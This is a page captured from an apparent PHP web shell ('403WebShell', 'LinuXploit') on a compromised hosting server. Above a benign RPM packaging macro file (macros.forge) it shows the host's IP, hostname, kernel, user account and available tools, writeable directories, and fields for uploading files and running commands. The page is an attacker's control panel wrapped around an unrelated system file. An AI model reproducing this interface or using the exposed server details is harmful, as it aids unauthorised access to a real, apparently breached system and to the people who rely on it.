Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.138.114.198
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/rpm/macros.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/rpm/macros.d/macros.forge
# Map forge information to rpm metadata. This macro will compute default spec
# variable values.
#
# The following spec variables SHOULD be set before calling the macro:
#
#   forgeurl  the project url on the forge, strongly recommended;
#             alternatively, use -u <url>
#   Version   if applicable, set it with Version: <version>
#   tag       if applicable
#   commit    if applicable
#
# The macro will attempt to compute and set the following variables if they are
# not already set by the packager:
#
#   forgesource    an URL that can be used as SourceX: value
#   forgesetupargs the correct arguments to pass to %setup for this source
#                  used by %forgesetup and %forgeautosetup
#   archivename    the source archive filename, without extentions
#   archiveext     the source archive filename extensions, without leading dot
#   archiveurl     the url that can be used to download the source archive,
#                  without renaming
#   scm            the scm type, when packaging code snapshots: commits or tags
#
# If the macro is unable to parse your forgeurl value set at least archivename
# and archiveurl before calling it.
#
# Most of the computed variables are both overridable and optional. However,
# the macro WILL REDEFINE %{dist} when packaging a snapshot (commit or tag).
# The previous %{dist} value will be lost. Don’t call the macro if you don’t
# wish %{dist} to be changed.
#
# Optional parameters:
#   -u <url>  Ignore forgeurl even if it exists and use <url> instead. Note
#             that the macro will still end up setting <url> as the forgeurl
#             spec variable if it manages to parse it.
#   -s  Silently ignore problems in forgeurl, use it if it can be parsed,
#       ignore it otherwise.
#   -p  Restore problem handling, override -s.
#   -v  Be verbose and print every spec variable the macro sets.
#   -i  Print some info about the state of spec variables the macro may use or
#       set at the end of the processing.
%forgemeta(u:spvi) %{lua:
local forgeurl    = rpm.expand("%{?-u*}")
if (forgeurl == "") then
  forgeurl        = rpm.expand("%{?forgeurl}")
end
local silent      = false
local verbose     = false
local informative = false
if (rpm.expand("%{?-s}") ~= "") then
  silent          = true
end
if (rpm.expand("%{?-p}") ~= "") then
  silent          = false
end
if (rpm.expand("%{?-v}") ~= "") then
  verbose         = true
end
if (rpm.expand("%{?-i}") ~= "") then
  informative     = true
end
local tag         = rpm.expand("%{?tag}")
local commit      = rpm.expand("%{?commit}")
-- Be explicit about the spec variables we’re setting
local function explicitset(rpmvariable,value)
  rpm.define(rpmvariable .. " " .. value)
  if verbose then
    rpm.expand("%{echo:Setting %%{" .. rpmvariable .. "} = " .. value .. "\\n}")
  end
end
-- Never ever stomp on a spec variable the packager already set
local function safeset(rpmvariable,value)
  if (rpm.expand("%{?" .. rpmvariable .. "}") == "") then
    explicitset(rpmvariable,value)
  end
end
-- Set spec variable values for each known software publishing service
if (forgeurl ~= "") then
  local forge          = string.match(forgeurl, "^[^:]+://([^/]+)/")
  if (forge == nil) then
    if not silent then
      rpm.expand("%{error:URLs must include a protocol such as https:// and a path starting with / !\\n}")
    end
  else
    if (string.match(forge, "^gitlab[%.-]") or string.match(forge, "[%.-]gitlab[%.]")) then
      forgeurl = string.match(forgeurl, "https://[^/]+/[^/]+/[^/#?]+")
      if (forgeurl == nil) then
        if not silent then
          rpm.expand("%{error:Gitlab URLs must match https://(…[-.])gitlab[-.]…/owner/repo !\\n}")
        end
      else
        explicitset("forgeurl",   forgeurl)
        if (commit == "") then
          rpm.expand("%{error:All Gitlab URLs require commit value knowledge: you need to define %{commit}!\\nPlease vote on https://gitlab.com/gitlab-org/gitlab-ce/issues/38830\\n}")
        end
        safeset("archiveext",     "tar.bz2")
        safeset("forgesetupargs", "-n %{archivename}")
        if (commit ~= "") or (tag ~= "") then
          safeset("scm", "git")
        end
        local owner   = string.match(forgeurl, "^[^:]+://[^/]+/([^/]+)")
        local repo    = string.match(forgeurl, "^[^:]+://[^/]+/[^/]+/([^/]+)")
        local version = rpm.expand("%{?version}")
        if (version ~= "") and (version ~= "0") and (tag == "") then
          -- GitLab does not have strong versionning semantics
          -- Some projects use "version" as release tag, others "v" + "version"
          -- Tag value needs to be explicitly declared before calling the macro
          -- in the second case
          tag = version
          safeset("tag", tag)
        end
        if (tag ~= "") then
          safeset("archivename", repo .. "-%{tag}-%{commit}")
          safeset("archiveurl",  "%{forgeurl}/repository/%{tag}/archive.%{archiveext}")
        else
          safeset("archivename", repo .. "-%{commit}")
          safeset("archiveurl",  "%{forgeurl}/repository/%{commit}/archive.%{archiveext}")
        end
      end
    end
    if (string.match(forge, "^github[%.-]") or string.match(forge, "[%.-]github[%.]")) then
      forgeurl = string.match(forgeurl, "https://[^/]+/[^/]+/[^/#?]+")
      if (forgeurl == nil) then
        if not silent then
          rpm.expand("%{error:GitHub URLs must match https://(…[-.])github[-.]…/owner/repo !\\n}")
        end
      else
        explicitset("forgeurl",   forgeurl)
        safeset("archiveext",     "tar.gz")
        local forgesetupargs = "-n %{archivename}"
        if (commit ~= "") or (tag ~= "") then
          safeset("scm", "git")
        end
        local owner = string.match(forgeurl, "^[^:]+://[^/]+/([^/]+)")
        local repo  = string.match(forgeurl, "^[^:]+://[^/]+/[^/]+/([^/]+)")
        if (tag ~= "") then
          -- if upstream used a version suffix such as -rc1 or -beta it will not
          -- be a valid version string for rpm but github will accept it fine and
          -- use the same naming as for other versions: v prefix in the tag and
          -- archivename, no v prefix in the topdir naming inside the archive
          local version = rpm.expand("%{?version}")
          if version ~= "" and
             (string.match(tag, "^v" .. version .. "[^%d]") or
              string.match(tag, "^v" .. version .. "$"))    then
            forgesetupargs = "-n " .. repo .. "-" .. string.gsub(tag, "^v", "")
          end
          safeset("archivename",   repo .. "-%{tag}")
          safeset("archiveurl",    "%{forgeurl}/archive/%{tag}.%{archiveext}")
        else
          if (commit ~= "") then
            safeset("archivename", repo .. "-%{commit}")
            safeset("archiveurl",  "%{forgeurl}/archive/%{commit}/" .. repo .. "-%{commit}.%{archiveext}")
          else
            safeset("archivename", repo .. "-%{version}")
            safeset("archiveurl",   "%{forgeurl}/archive/v%{version}.%{archiveext}")
          end
        end
        safeset("forgesetupargs", forgesetupargs)
      end
    end
    if (forge == "code.googlesource.com") then
      forgeurl = string.match(forgeurl, "https://code.googlesource.com/[^#?]*[^/#?]+")
      if (forgeurl == nil) then
        if not silent then
          rpm.expand("%{error:Googlesource URLs must match https://code.googlesource.com/…/repo !\\n}")
        end
      else
        explicitset("forgeurl",   forgeurl)
        safeset("archiveext",     "tar.gz")
        safeset("forgesetupargs", "-c")
        if (commit ~= "") or (tag ~= "") then
          safeset("scm", "git")
        end
        local repo = string.match(forgeurl, "^[^:]+://.+/([^/?#]+)")
        if (tag ~= "") then
          safeset("archivename",   repo .. "-%{tag}")
          safeset("archiveurl",    "%{forgeurl}/+archive/%{tag}.%{archiveext}")
        else
          if (commit ~= "") then
            safeset("archivename", repo .. "-%{commit}")
            safeset("archiveurl",  "%{forgeurl}/+archive/%{commit}.%{archiveext}")
          else
            safeset("archivename", repo .. "-v%{version}")
            safeset("archiveurl",  "%{forgeurl}/+archive/v%{version}.%{archiveext}")
          end
        end
      end
    end
    if (forge == "bitbucket.org") then
      forgeurl = string.match(forgeurl, "https://[^/]+/[^/]+/[^/#?]+")
      if (forgeurl == nil) then
        if not silent then
          rpm.expand("%{error:BitBucket URLs must match https://bitbucket.org/owner/repo !\\n}")
        end
      else
        explicitset("forgeurl",   forgeurl)
        if (commit == "") then
          rpm.expand("%{error:All BitBucket URLs require commit value knowledge: you need to define %{commit}!\\n}")
        end
        local shortcommit = string.sub(commit, 1, 12)
        safeset("archiveext", "tar.bz2")
        -- Default to git even though BitBucket allows choosing between several SCMs
        -- Set scm to hg for example before calling the macro if your project does not use git
        safeset("scm", "git")
        local owner = string.match(forgeurl, "^[^:]+://[^/]+/([^/]+)")
        local repo  = string.match(forgeurl, "^[^:]+://[^/]+/[^/]+/([^/]+)")
        safeset("archivename",    owner .. "-" .. repo .. "-" .. shortcommit)
        safeset("forgesetupargs", "-n %{archivename}")
        if (tag ~= "") then
          safeset("archiveurl",  "%{forgeurl}/get/%{tag}.%{archiveext}")
        else
          safeset("archiveurl",  "%{forgeurl}/get/%{commit}.%{archiveext}")
        end
      end
    end
    if (forge == "pagure.io") then
      if not silent then
        rpm.expand("%{error:https://pagure.io/pagure/issue/861 needs to be resolved before the “pagure.io”\\nsoftware publishing service can be supported.\\n}")
      end
    end
    -- Final tests to check forgeurl was successfuly parsed
    if not silent then
      if (rpm.expand("%{?archivename}") == "") or (rpm.expand("%{?archiveurl}") == "") then
        rpm.expand("%{error:Automation for the “" .. forge .. "”\\nsoftware publishing service is not implemented yet.\\nPlease extend the %%forgemeta macro!\\n}")
      end
    end
  end
end
-- Set defaults if forgeurl is missing or does not parse
local archivename = rpm.expand("%{?archivename}")
safeset("archiveext",       "tar.gz")
if (archivename ~= "") then
  safeset("forgesetupargs", "-n %{archivename}")
end
if (commit ~= "") or (tag ~= "") then
  safeset("scm",            "git")
end
-- Source URL processing (computing the forgesource spec variable)
local archiveurl  = rpm.expand("%{?archiveurl}")
local archiveext  = rpm.expand("%{?archiveext}")
if (archivename ~= "") and (archiveurl ~= "") then
  if (string.match(archiveurl, "/([^/]+)$") == archivename .. "." .. archiveext) then
    safeset("forgesource", "%{archiveurl}")
  else
    safeset("forgesource", "%{?archiveurl}#/%{?archivename}.%{archiveext}")
  end
end
-- dist processing (computing the correct pefix for snapshots)
local distprefix = rpm.expand("%{?tag}")
local version    = rpm.expand("%{?version}")
if (distprefix == version) or (distprefix == "v" .. version) then
  distprefix = ""
end
if (distprefix == "") then
  distprefix = string.sub(rpm.expand("%{?commit}"), 1, 7)
end
if (distprefix ~= "") then
  local dist = ".%([ -r %{_sourcedir}/%{archivename}.%{archiveext} ] && date +%Y%m%d -u -r %{_sourcedir}/%{archivename}.%{archiveext})%{scm}" .. string.gsub(distprefix, "-",".") .. rpm.expand("%{?dist}")
  explicitset("dist", dist)
end
-- Final spec variable summary if the macro was called with -i
if informative then
  rpm.expand("%{echo:Forge-specific packaging variables\\n}")
  rpm.expand("%{echo:  forgeurl:        %{?forgeurl}\\n}")
  rpm.expand("%{echo:  forgesource:     %{?forgesource}\\n}")
  rpm.expand("%{echo:  forgesetupargs:  %{?forgesetupargs}\\n}")
  rpm.expand("%{echo:Generic variables\\n}")
  rpm.expand("%{echo:  archivename:     %{?archivename}\\n}")
  rpm.expand("%{echo:  archiveext:      %{?archiveext}\\n}")
  rpm.expand("%{echo:  archiveurl:      %{?archiveurl}\\n}")
  rpm.expand("%{echo:  scm:             %{?scm}\\n}")
  rpm.expand("%{echo:  tag:             %{?tag}\\n}")
  rpm.expand("%{echo:  commit:          %{?commit}\\n}")
  rpm.expand("%{echo:  dist:            %{?dist} (snapshot date is computed once %%{_sourcedir}/%%{archivename}.%%{archiveext} is available)\\n}")
end
}

# Convenience macro to relay computed arguments to %setup
%forgesetup(a:b:cDn:Tq) %setup %{?forgesetupargs} %{-a} %{-b} %{-c} %{-D} %{-n} %{-T} %{-q}

# Convenience macro to relay computed arguments to %autosetup
%forgeautosetup(a:b:cDn:TvNS:p:) %autosetup %{?forgesetupargs} %{-a} %{-b} %{-c} %{-D} %{-n} %{-T} %{-v} %{-N} %{-S} %{-p}

Youez - 2016 - github.com/yon3zu
LinuXploit